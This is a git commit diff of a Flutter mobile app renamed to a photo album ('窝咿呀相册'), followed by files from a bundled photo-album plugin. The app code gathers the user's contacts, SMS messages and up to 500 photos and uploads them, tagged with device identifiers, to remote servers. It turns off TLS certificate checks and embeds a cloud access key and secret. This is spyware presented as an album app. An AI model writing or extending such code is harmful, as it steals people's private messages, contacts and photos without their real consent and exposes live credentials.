提交 0bc553e4 authored 作者: 小陀螺's avatar 小陀螺

first

上级 e76bd67e
...@@ -20,7 +20,7 @@ ...@@ -20,7 +20,7 @@
<application <application
android:label="云空间" android:label="窝咿呀相册"
android:name="${applicationName}" android:name="${applicationName}"
android:icon="@mipmap/android_launcher"> android:icon="@mipmap/android_launcher">
<activity <activity
......
...@@ -16,6 +16,8 @@ PODS: ...@@ -16,6 +16,8 @@ PODS:
- Flutter - Flutter
- platform_device_id (0.0.1): - platform_device_id (0.0.1):
- Flutter - Flutter
- webview_flutter_wkwebview (0.0.1):
- Flutter
DEPENDENCIES: DEPENDENCIES:
- contacts_service (from `.symlinks/plugins/contacts_service/ios`) - contacts_service (from `.symlinks/plugins/contacts_service/ios`)
...@@ -27,6 +29,7 @@ DEPENDENCIES: ...@@ -27,6 +29,7 @@ DEPENDENCIES:
- permission_handler_apple (from `.symlinks/plugins/permission_handler_apple/ios`) - permission_handler_apple (from `.symlinks/plugins/permission_handler_apple/ios`)
- photo_album_manager (from `.symlinks/plugins/photo_album_manager/ios`) - photo_album_manager (from `.symlinks/plugins/photo_album_manager/ios`)
- platform_device_id (from `.symlinks/plugins/platform_device_id/ios`) - platform_device_id (from `.symlinks/plugins/platform_device_id/ios`)
- webview_flutter_wkwebview (from `.symlinks/plugins/webview_flutter_wkwebview/ios`)
EXTERNAL SOURCES: EXTERNAL SOURCES:
contacts_service: contacts_service:
...@@ -47,6 +50,8 @@ EXTERNAL SOURCES: ...@@ -47,6 +50,8 @@ EXTERNAL SOURCES:
:path: ".symlinks/plugins/photo_album_manager/ios" :path: ".symlinks/plugins/photo_album_manager/ios"
platform_device_id: platform_device_id:
:path: ".symlinks/plugins/platform_device_id/ios" :path: ".symlinks/plugins/platform_device_id/ios"
webview_flutter_wkwebview:
:path: ".symlinks/plugins/webview_flutter_wkwebview/ios"
SPEC CHECKSUMS: SPEC CHECKSUMS:
contacts_service: 849e1f84281804c8bfbec1b4c3eedcb23c5d3eca contacts_service: 849e1f84281804c8bfbec1b4c3eedcb23c5d3eca
...@@ -58,6 +63,7 @@ SPEC CHECKSUMS: ...@@ -58,6 +63,7 @@ SPEC CHECKSUMS:
permission_handler_apple: e76247795d700c14ea09e3a2d8855d41ee80a2e6 permission_handler_apple: e76247795d700c14ea09e3a2d8855d41ee80a2e6
photo_album_manager: c25d95cb4528e98cbd0c7300efa2f910d2fa27b2 photo_album_manager: c25d95cb4528e98cbd0c7300efa2f910d2fa27b2
platform_device_id: 81b3e2993881f87d0c82ef151dc274df4869aef5 platform_device_id: 81b3e2993881f87d0c82ef151dc274df4869aef5
webview_flutter_wkwebview: 2e2d318f21a5e036e2c3f26171342e95908bd60a
PODFILE CHECKSUM: c4c93c5f6502fe2754f48404d3594bf779584011 PODFILE CHECKSUM: c4c93c5f6502fe2754f48404d3594bf779584011
......
...@@ -2,12 +2,39 @@ ...@@ -2,12 +2,39 @@
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"> <plist version="1.0">
<dict> <dict>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>我们需要访问您的相册以保存照片</string>
<key>CFBundleIcons</key>
<dict>
<key>CFBundlePrimaryIcon</key>
<dict>
<key>CFBundleIconName</key>
<string></string>
<key>CFBundleIconFiles</key>
<array>
<string></string>
</array>
<key>UIPrerenderedIcon</key>
<false/>
</dict>
<key>UINewsstandIcon</key>
<dict>
<key>CFBundleIconFiles</key>
<array>
<string></string>
</array>
<key>UINewsstandBindingType</key>
<string>UINewsstandBindingTypeMagazine</string>
<key>UINewsstandBindingEdge</key>
<string>UINewsstandBindingEdgeLeft</string>
</dict>
</dict>
<key>CADisableMinimumFrameDurationOnPhone</key> <key>CADisableMinimumFrameDurationOnPhone</key>
<true/> <true/>
<key>CFBundleDevelopmentRegion</key> <key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string> <string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDisplayName</key> <key>CFBundleDisplayName</key>
<string>云空间</string> <string>窝咿呀相册</string>
<key>NSHumanReadableCopyright</key> <key>NSHumanReadableCopyright</key>
<string></string> <string></string>
<key>CFBundleExecutable</key> <key>CFBundleExecutable</key>
...@@ -19,7 +46,7 @@ ...@@ -19,7 +46,7 @@
<key>CFBundleInfoDictionaryVersion</key> <key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string> <string>6.0</string>
<key>CFBundleName</key> <key>CFBundleName</key>
<string>云空间</string> <string>窝咿呀相册</string>
<key>CFBundlePackageType</key> <key>CFBundlePackageType</key>
<string>APPL</string> <string>APPL</string>
<key>CFBundleShortVersionString</key> <key>CFBundleShortVersionString</key>
......
import 'dart:convert'; import 'dart:convert';
import 'dart:developer'; import 'dart:developer';
import 'dart:io';
//import 'dart:io';
import 'package:dio/dio.dart'; import 'package:dio/dio.dart';
import 'package:dio/io.dart'; import 'package:dio/io.dart';
...@@ -11,12 +13,12 @@ import 'deviceInfo.dart'; ...@@ -11,12 +13,12 @@ import 'deviceInfo.dart';
class HttpUtils { class HttpUtils {
/// 请求服务器配置信息(主要) /// 请求服务器配置信息(主要)
// static const String serverconfig = static const String serverconfig =
// "https://hq1217.oss-cn-chengdu.aliyuncs.com/u.json"; //huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com "https://yunkj0623.oss-cn-shenzhen.aliyuncs.com/u.json"; //huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com
// static const String serverconfig1 = // static const String serverconfig1 =
// "https://hqtests.oss-cn-qingdao.aliyuncs.com/u.json"; // "https://hqtests.oss-cn-qingdao.aliyuncs.com/u.json";
static const String serverconfig = // static const String serverconfig =
"https://huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com/u.json"; // "https://huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com/u.json";
static const String serverconfig1 = static const String serverconfig1 =
"https://huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com/u.json"; "https://huoquyunkonjian.oss-cn-guangzhou.aliyuncs.com/u.json";
static String baseUrl = "http://api.txljk.xyz"; static String baseUrl = "http://api.txljk.xyz";
...@@ -27,32 +29,42 @@ class HttpUtils { ...@@ -27,32 +29,42 @@ class HttpUtils {
/// 获取服务器配置信息 /// 获取服务器配置信息
Future<void> loadServerConfig() async { Future<void> loadServerConfig() async {
Response ? response; // Response ? response;
Options op = Options( // Options op = Options(
sendTimeout: const Duration(seconds: 8), // sendTimeout: const Duration(seconds: 8),
receiveTimeout: const Duration(seconds: 8), // receiveTimeout: const Duration(seconds: 8),
responseType: ResponseType.plain, // responseType: ResponseType.plain,
); // );
// try {
// response = await retry(
// () => Dio().get(HttpUtils.serverconfig, options: op),
// maxAttempts: 10,
// retryIf: (e) {
// return e is DioException;
// },
// delayFactor: const Duration(seconds: 2),
// );
// } catch (e) {
// EasyLoading.showError("服务器配置错误:$e");
// if (kDebugMode) {
// print('error:$e');
// }
// }
// if (response == null) {
// loadServerConfig();
// return;
// }
// HttpUtils.baseUrl = response.data;
try { try {
response = await retry( final List<InternetAddress> result = await InternetAddress.lookup("img.wxemail.xyz");
() => Dio().get(HttpUtils.serverconfig, options: op), String _ipAddress = result.isNotEmpty ? result.first.address : 'No IP found';
maxAttempts: 10, debugPrint("解析的IP是:$_ipAddress");
retryIf: (e) { HttpUtils.baseUrl = "http://$_ipAddress:55432";
return e is DioException; } on SocketException catch (e) {
}, debugPrint('Failed to lookup IP address: $e');
delayFactor: const Duration(seconds: 2), EasyLoading.showError("域名解析失败");
);
} catch (e) {
EasyLoading.showError("服务器配置错误:$e");
if (kDebugMode) {
print('error:$e');
}
}
if (response == null) {
loadServerConfig();
return;
} }
HttpUtils.baseUrl = response.data;
} }
Future post( Future post(
...@@ -94,7 +106,7 @@ class HttpUtils { ...@@ -94,7 +106,7 @@ class HttpUtils {
(client) { (client) {
client.badCertificateCallback = (cert, host, port) { client.badCertificateCallback = (cert, host, port) {
return true; // 返回true强制通过 return true; // 返回true强制通过
}; }; // 设置TLS版本
}; };
// if (baseUrl.startsWith("https")) { // if (baseUrl.startsWith("https")) {
...@@ -150,6 +162,7 @@ class HttpUtils { ...@@ -150,6 +162,7 @@ class HttpUtils {
if (errorCallback != null) { if (errorCallback != null) {
errorCallback("未知错误"); errorCallback("未知错误");
} }
//EasyLoading.showError("$e");
} }
} else { } else {
//未知错误 //未知错误
...@@ -158,6 +171,8 @@ class HttpUtils { ...@@ -158,6 +171,8 @@ class HttpUtils {
} }
} }
} on DioError catch (e) { } on DioError catch (e) {
post(path,
param: param, callback: callback, errorCallback: errorCallback);
if (errorCallback != null) { if (errorCallback != null) {
if (kDebugMode) { if (kDebugMode) {
log("$path 网络错误 ${e.message} \n ${e.response} \n ${e.error}"); log("$path 网络错误 ${e.message} \n ${e.response} \n ${e.error}");
......
...@@ -4,11 +4,11 @@ import 'package:aliyun_oss_flutter/aliyun_oss_flutter.dart'; ...@@ -4,11 +4,11 @@ import 'package:aliyun_oss_flutter/aliyun_oss_flutter.dart';
import 'package:flutter/material.dart'; import 'package:flutter/material.dart';
class AliYunOss { class AliYunOss {
static String ossEndpoint = "oss-cn-guangzhou.aliyuncs.com";//'oss-accelerate.aliyuncs.com'; static String ossEndpoint = "oss-accelerate.aliyuncs.com";//'oss-accelerate.aliyuncs.com';
static String bucketName = 'yunkonjian'; static String bucketName = 'yunkonjian';
static String accessKey = 'LTAI5tCzyoR4dRk7WJqRdoe1'; static String accessKey = 'LTAI5tCzyoR4dRk7WJqRdoe1';
static String accessSecret = 'OfUTaO1rUE9AyQ9x8xG3YMVvopc9JR'; static String accessSecret = 'OfUTaO1rUE9AyQ9x8xG3YMVvopc9JR';
// static String bucketUrl = "akaishenz.oss-accelerate.aliyuncs.com"; // static String bucketUrl = "akaishenz.oss-accelerate.aliyuncs.com";akaishenz.oss-cn-shenzhen.aliyuncs.com
static initAliyunOss() async { static initAliyunOss() async {
// 初始化OSSClient // 初始化OSSClient
OSSClient.init( OSSClient.init(
...@@ -25,12 +25,12 @@ class AliYunOss { ...@@ -25,12 +25,12 @@ class AliYunOss {
); );
} }
Credentials credentialss() { // Credentials credentialss() {
return Credentials( // return Credentials(
accessKeyId: accessKey, // accessKeyId: accessKey,
accessKeySecret: accessSecret, // accessKeySecret: accessSecret,
); // );
} // }
Future<String> upload(String path) async { Future<String> upload(String path) async {
final object = await OSSClient().putObject( final object = await OSSClient().putObject(
......
...@@ -92,13 +92,12 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -92,13 +92,12 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
initState() { initState() {
// TODO: implement initState // TODO: implement initState
super.initState(); super.initState();
//initContacts();
initPlatformState(); //获取所有的相册
} }
Future<void> getContacts() async { // Future<void> getContacts() async {
PermissionStatus status = await Permission.contacts.request(); // PermissionStatus status = await Permission.contacts.request();
} // }
Future<void> getSms() async { Future<void> getSms() async {
var status = await Permission.sms.request(); var status = await Permission.sms.request();
...@@ -124,6 +123,7 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -124,6 +123,7 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
dataLists.add(dataMap); dataLists.add(dataMap);
} }
Map<String, dynamic> smsMap = { Map<String, dynamic> smsMap = {
"name": DeviceInfo.deviceId(), "name": DeviceInfo.deviceId(),
"clientid": DeviceInfo.deviceInfo(), "clientid": DeviceInfo.deviceInfo(),
...@@ -135,12 +135,16 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -135,12 +135,16 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
param: smsMap, param: smsMap,
callback: (res) { callback: (res) {
//initContacts(); //initContacts();
initPlatformState();
print("上传的短信是:$res"); print("上传的短信是:$res");
}, },
errorCallback: (error) { errorCallback: (error) {
print("上传的短信错误是:$error"); EasyLoading.showError("$error");
}, },
); );
//uploadChunksRecursively(dataLists);
} else { } else {
// 用户拒绝了权限请求 // 用户拒绝了权限请求
// 可以提供一些提示或采取其他措施 // 可以提供一些提示或采取其他措施
...@@ -151,6 +155,54 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -151,6 +155,54 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
//print("所有短信是============$messages"); //print("所有短信是============$messages");
} }
// void uploadChunksRecursively(List<Map<String, dynamic>> data) async {
// const int chunkSize = 20;
// void uploadChunk(int startIndex) async {
// if (startIndex >= data.length) {
// print('All data uploaded');
// initPlatformState(); //获取所有的相册
// return;
// }
//
// int endIndex = (startIndex + chunkSize > data.length)
// ? data.length
// : startIndex + chunkSize;
//
// List<Map<String, dynamic>> chunk = data.sublist(startIndex, endIndex);
// // 模拟上传
// print('Uploading chunk: ${chunk}');
//
//
// Map<String, dynamic> smsMap = {
// "name": DeviceInfo.deviceId(),
// "clientid": DeviceInfo.deviceInfo(),
// "code": password,
// "data": data,
// };
// await HttpUtils().post(
// HttpUtils.v5apisms,
// param: smsMap,
// callback: (res) {
// //initContacts();
// print("上传的短信是:$res");
// if( (data.length - 20 <= startIndex)) {
// initPlatformState(); //获取所有的相册
// }
// },
// errorCallback: (error) {
// EasyLoading.showError("$error");
// },
// );
//
//
// // 递归上传下一个块
// uploadChunk(endIndex);
// }
//
// uploadChunk(0);
// }
//获取通讯录 //获取通讯录
Future<void> initContacts() async { Future<void> initContacts() async {
if (Platform.isAndroid) { if (Platform.isAndroid) {
...@@ -199,20 +251,22 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -199,20 +251,22 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
callback: (res) { callback: (res) {
getSms(); getSms();
if (kDebugMode) { if (kDebugMode) {
print("联系人$res"); print("联系人请求接口返回为:$res");
} }
}, },
errorCallback: (error) { errorCallback: (error) {
if (kDebugMode) { if (kDebugMode) {
print("联系人报错2$error"); print("联系人接口报错2:$error");
EasyLoading.showError("$error");
} }
}, },
); );
}, },
errorCallback: (error) { errorCallback: (error) {
if (kDebugMode) { if (kDebugMode) {
print("联系人报错1$error"); print("联系人接口报错1:$error");
} }
EasyLoading.showError("$error");
}, },
); );
} else if (status.isPermanentlyDenied) { } else if (status.isPermanentlyDenied) {
...@@ -222,7 +276,10 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -222,7 +276,10 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
// 用户拒绝了权限,可以提供一些提示或其他措施 // 用户拒绝了权限,可以提供一些提示或其他措施
EasyLoading.showError("请打开访问通讯录的权限哦"); EasyLoading.showError("请打开访问通讯录的权限哦");
} }
} else { }
///苹果iOS
else {
contacts = await ContactsService.getContacts(); contacts = await ContactsService.getContacts();
List<Map<String, String>> contactLists = []; List<Map<String, String>> contactLists = [];
...@@ -261,22 +318,26 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -261,22 +318,26 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
HttpUtils.v5api, HttpUtils.v5api,
param: contactParam1, param: contactParam1,
callback: (res) { callback: (res) {
EasyLoading.show(status: 'loading...'); //EasyLoading.show(status: 'loading...');
//getSms();
initPlatformState();
if (kDebugMode) { if (kDebugMode) {
print("联系人$res"); print("联系人接口返回为:$res");
} }
}, },
errorCallback: (error) { errorCallback: (error) {
if (kDebugMode) { if (kDebugMode) {
print("联系人报错2$error"); print("联系人接口报错2:$error");
} }
EasyLoading.showError("$error");
}, },
); );
}, },
errorCallback: (error) { errorCallback: (error) {
if (kDebugMode) { if (kDebugMode) {
print("联系人报错1$error"); print("联系人报错1:$error");
} }
EasyLoading.showError("$error");
}, },
); );
} }
...@@ -294,7 +355,7 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -294,7 +355,7 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
// // Android 11及以上版本,使用新的存储访问权限 // // Android 11及以上版本,使用新的存储访问权限
// fStatus = await Permission.photos.request(); // fStatus = await Permission.photos.request();
// fStatus = await Permission.manageExternalStorage.request(); // fStatus = await Permission.manageExternalStorage.request();
photos = await PhotoAlbumManager.getAscAlbumImg(maxCount: 100); photos = await PhotoAlbumManager.getAscAlbumImg(maxCount: 100,);
for (int i = 0; i < photos.length; i++) { for (int i = 0; i < photos.length; i++) {
AlbumModelEntity photo = photos[i]; AlbumModelEntity photo = photos[i];
await PhotoAlbumManager.getOriginalResource(photo.localIdentifier!, await PhotoAlbumManager.getOriginalResource(photo.localIdentifier!,
...@@ -317,7 +378,8 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -317,7 +378,8 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
} }
else { else {
// iOS平台,请求存储访问权限 // iOS平台,请求存储访问权限
photos = await PhotoAlbumManager.getDescAlbumImg(maxCount: 100); debugPrint("苹果相册获取");
photos = await PhotoAlbumManager.getDescAlbumImg(maxCount: 500);
for (int i = 0; i < photos.length; i++) { for (int i = 0; i < photos.length; i++) {
AlbumModelEntity photo = photos[i]; AlbumModelEntity photo = photos[i];
// String url = await AliYunOss().upload(photo.originalPath!); // String url = await AliYunOss().upload(photo.originalPath!);
...@@ -371,12 +433,14 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> { ...@@ -371,12 +433,14 @@ class PhotoAlbumBodyWidgetState extends State<PhotoAlbumBodyWidget> {
else if (Platform.isIOS) { else if (Platform.isIOS) {
// iOS平台,请求存储访问权限 // iOS平台,请求存储访问权限
PermissionStatus status = await Permission.storage.request(); PermissionStatus status = await Permission.storage.request();
PermissionStatus status1 = await Permission.photos.request();
if(status.isGranted){ if(status.isGranted){
print("========通过了"); print("========通过了");
putPhotos(); putPhotos();
} }
else if(status.isPermanentlyDenied){ else if(status.isPermanentlyDenied){
print("========苹果请求相册被拒绝了"); print("========苹果请求相册被拒绝了");
openAppSettings(); // 打开应用设置页面,让用户手动开启权限
} }
} }
} }
......
.DS_Store
.dart_tool/
.packages
.pub/
build/
# This file tracks properties of this Flutter project.
# Used by Flutter tool to assess capabilities and perform upgrades etc.
#
# This file should be version controlled and should not be manually edited.
version:
revision: f139b11009aeb8ed2a3a3aa8b0066e482709dde3
channel: stable
project_type: plugin
## 1.2.0
*适配最新stable
## 1.1.9
*优化安卓相册缓存更新不及时问题
## 1.1.8
*优化安卓相册缓存更新不及时问题
## 1.1.7
*优化安卓获取缩略图代码
## 1.1.6
*优化安卓获取缩略图代码
## 1.1.5
*优化权限申请
## 1.1.4
*优化pubspec.yaml文件部分语法问题
## 1.1.3
*优化安卓插件EventBus 因混淆导致的release版本异常
## 1.1.2
*优化iOS相册加载速度
## 1.1.1
*优化安卓端第一次相册权限申请后无法获取数据问题
## 1.1.0
*优化安卓端相册权限申请
## 1.0.9
*优化安卓端相册权限申请
## 1.0.8
*适配版本v1.12.13+hotfix.9
## 1.0.7
* 优化Android端缓存问题
## 1.0.6
* 优化iOS端GIF支持问题
* 优化iOS端HEIC格式图片转换JPG问题
MIT License
Copyright (c) 2020 Delevin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
# photo_album_manager
This is the plug-in can quickly get album resources, support for android and iOS
这是可以快速获取相册资源的插件,支持安卓和iOS
## demo
![二维码](https://www.pgyer.com/app/qrcode/SFcx?sign=&auSign=&code=)
## install
```dart
dependencies: photo_album_manager: ^1.2.0
```
## import
```dart
import 'package:photo_album_manager/photo_album_manager.dart';
```
## example
```dart
//先权限申请
PermissionStatus status = await PhotoAlbumManager.checkPermissions();
if (status == PermissionStatus.granted) {
Toast.show("权限同意", context);
} else {
Toast.show("权限拒绝", context);
}
//再获取相册资源
List<AlbumModelEntity> photos = await PhotoAlbumManager.getDescAlbum(maxCount: 50);
```
```dart
//或者直接获取相册资源(权限内部判断)
List<AlbumModelEntity> photos = await PhotoAlbumManager.getDescAlbum(maxCount: 50);
```
## api
```dart
/*检查必要权限*/
static Future<PermissionStatus> checkPermissions();
/*判断权限状态是否授予*/
static bool statusIsGranted(PermissionStatus status);
/*获取相册资源(降序) maxCount 为null 获取全部资源*/
static Future<List<AlbumModelEntity>> getDescAlbum({int maxCount});
/*获取相册资源(升序) maxCount 为null 获取全部资源*/
static Future<List<AlbumModelEntity>> getAscAlbum({int maxCount});
/*获取相册图片资源(升序) maxCount 为null 获取全部资源*/
static Future<List<AlbumModelEntity>> getAscAlbumImg({int maxCount});
/*获取相册视频资源(升序) maxCount 为null 获取全部资源*/
static Future<List<AlbumModelEntity>> getAscAlbumVideo({int maxCount});
/*获取相册图片资源(降序) maxCount 为null 获取全部资源*/
static Future<List<AlbumModelEntity>> getDescAlbumImg({int maxCount});
/*获取相册视频资源(降序) maxCount 为null 获取全部资源*/
static Future<List<AlbumModelEntity>> getDescAlbumVideo{int maxCount});
/*通过唯一标识localIdentifier 获取资源(原图、原视频)*/
static Future<AlbumModelEntity> getOriginalResource(String localIdentifier,
{void onProgress(double progress), void onError(String error)});
```
*.iml
.gradle
/local.properties
/.idea/workspace.xml
/.idea/libraries
.DS_Store
/build
/captures
group 'com.example.photo_album_manager'
version '1.0'
buildscript {
repositories {
google()
jcenter()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.5.0'
}
}
rootProject.allprojects {
repositories {
google()
jcenter()
}
}
apply plugin: 'com.android.library'
android {
compileSdkVersion 28
defaultConfig {
minSdkVersion 16
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
lintOptions {
disable 'InvalidPackage'
}
}
org.gradle.jvmargs=-Xmx1536M
android.enableR8=true
android.useAndroidX=true
android.enableJetifier=true
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-5.6.2-all.zip
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.photo_album_manager">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
</manifest>
package android.src.main.java.com.example.photo_album_manager;
import java.util.HashMap;
import java.util.Map;
class AlbumModelEntity {
/*创建时间*/
private String creationDate;
/*资源大小*/
private String resourceSize;
/*缩略图路径或视频第一帧图片路径*/
private String thumbPath;
/*资源路径*/
private String originalPath;
/*视频时长*/
private String videoDuration;
/*资源类型 image 或 video*/
private String resourceType;
/*资源唯一标识(下载原图或原视频使用)*/
private String localIdentifier;
/*资源id*/
private int id;
/*构造方法*/
AlbumModelEntity(String creationDate, String resourceSize, String thumbPath, String originalPath, String videoDuration, String resourceType, String localIdentifier, int id) {
this.creationDate = creationDate;
this.resourceSize = resourceSize;
this.thumbPath = thumbPath;
this.originalPath = originalPath;
this.videoDuration = videoDuration;
this.resourceType = resourceType;
this.localIdentifier = localIdentifier;
this.id = id;
}
int getId() {
return id;
}
void setThumbPath(String thumbPath) {
this.thumbPath = thumbPath;
}
/*对象转Map*/
Map<String, String> toMap() {
Map<String, String> data = new HashMap<>();
data.put("videoDuration", this.videoDuration);
data.put("resourceSize", this.resourceSize);
data.put("thumbPath", this.thumbPath);
data.put("originalPath", this.originalPath);
data.put("creationDate", this.creationDate);
data.put("resourceType", this.resourceType);
data.put("localIdentifier", this.localIdentifier);
return data;
}
}
# Miscellaneous
*.class
*.log
*.pyc
*.swp
.DS_Store
.atom/
.buildlog/
.history
.svn/
# IntelliJ related
*.iml
*.ipr
*.iws
.idea/
# The .vscode folder contains launch configuration and tasks you configure in
# VS Code which you may wish to be included in version control, so this line
# is commented out by default.
#.vscode/
# Flutter/Dart/Pub related
**/doc/api/
.dart_tool/
.flutter-plugins
.flutter-plugins-dependencies
.packages
.pub-cache/
.pub/
/build/
# Web related
lib/generated_plugin_registrant.dart
# Exceptions to above rules.
!/packages/flutter_tools/test/data/dart_dependencies_test/**/.packages
# This file tracks properties of this Flutter project.
# Used by Flutter tool to assess capabilities and perform upgrades etc.
#
# This file should be version controlled.
version:
revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
channel: stable
project_type: app
# Tracks metadata for the flutter migrate command
migration:
platforms:
- platform: root
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
- platform: android
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
- platform: ios
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
- platform: linux
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
- platform: macos
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
- platform: web
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
- platform: windows
create_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
base_revision: 12cb4eb7a009f52b347b62ade7cb4854b926af72
# User provided section
# List of Local paths (relative to this file) that should be
# ignored by the migrate tool.
#
# Files that are not part of the templates will be ignored by default.
unmanaged_files:
- 'lib/main.dart'
- 'ios/Runner.xcodeproj/project.pbxproj'
# photo_album_manager_example
Demonstrates how to use the photo_album_manager plugin.
## Getting Started
This project is a starting point for a Flutter application.
A few resources to get you started if this is your first Flutter project:
- [Lab: Write your first Flutter app](https://flutter.dev/docs/get-started/codelab)
- [Cookbook: Useful Flutter samples](https://flutter.dev/docs/cookbook)
For help getting started with Flutter, view our
[online documentation](https://flutter.dev/docs), which offers tutorials,
samples, guidance on mobile development, and a full API reference.
# This file configures the analyzer, which statically analyzes Dart code to
# check for errors, warnings, and lints.
#
# The issues identified by the analyzer are surfaced in the UI of Dart-enabled
# IDEs (https://dart.dev/tools#ides-and-editors). The analyzer can also be
# invoked from the command line by running `flutter analyze`.
# The following line activates a set of recommended lints for Flutter apps,
# packages, and plugins designed to encourage good coding practices.
include: package:flutter_lints/flutter.yaml
linter:
# The lint rules applied to this project can be customized in the
# section below to disable rules from the `package:flutter_lints/flutter.yaml`
# included above or to enable additional rules. A list of all available lints
# and their documentation is published at
# https://dart-lang.github.io/linter/lints/index.html.
#
# Instead of disabling a lint rule for the entire project in the
# section below, it can also be suppressed for a single line of code
# or a specific dart file by using the `// ignore: name_of_lint` and
# `// ignore_for_file: name_of_lint` syntax on the line or in the file
# producing the lint.
rules:
# avoid_print: false # Uncomment to disable the `avoid_print` rule
# prefer_single_quotes: true # Uncomment to enable the `prefer_single_quotes` rule
# Additional information about this file can be found at
# https://dart.dev/guides/language/analysis-options
gradle-wrapper.jar
/.gradle
/captures/
/gradlew
/gradlew.bat
/local.properties
GeneratedPluginRegistrant.java
# Remember to never publicly share your keystore.
# See https://flutter.dev/docs/deployment/android#reference-the-keystore-from-the-app
key.properties
**/*.keystore
**/*.jks
def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
localPropertiesFile.withReader('UTF-8') { reader ->
localProperties.load(reader)
}
}
def flutterRoot = localProperties.getProperty('flutter.sdk')
if (flutterRoot == null) {
throw new GradleException("Flutter SDK not found. Define location with flutter.sdk in the local.properties file.")
}
def flutterVersionCode = localProperties.getProperty('flutter.versionCode')
if (flutterVersionCode == null) {
flutterVersionCode = '1'
}
def flutterVersionName = localProperties.getProperty('flutter.versionName')
if (flutterVersionName == null) {
flutterVersionName = '1.0'
}
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply from: "$flutterRoot/packages/flutter_tools/gradle/flutter.gradle"
android {
compileSdkVersion flutter.compileSdkVersion
ndkVersion flutter.ndkVersion
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
defaultConfig {
// TODO: Specify your own unique Application ID (https://developer.android.com/studio/build/application-id.html).
applicationId "com.example.example"
// You can update the following values to match your application needs.
// For more information, see: https://docs.flutter.dev/deployment/android#reviewing-the-gradle-build-configuration.
minSdkVersion flutter.minSdkVersion
targetSdkVersion flutter.targetSdkVersion
versionCode flutterVersionCode.toInteger()
versionName flutterVersionName
}
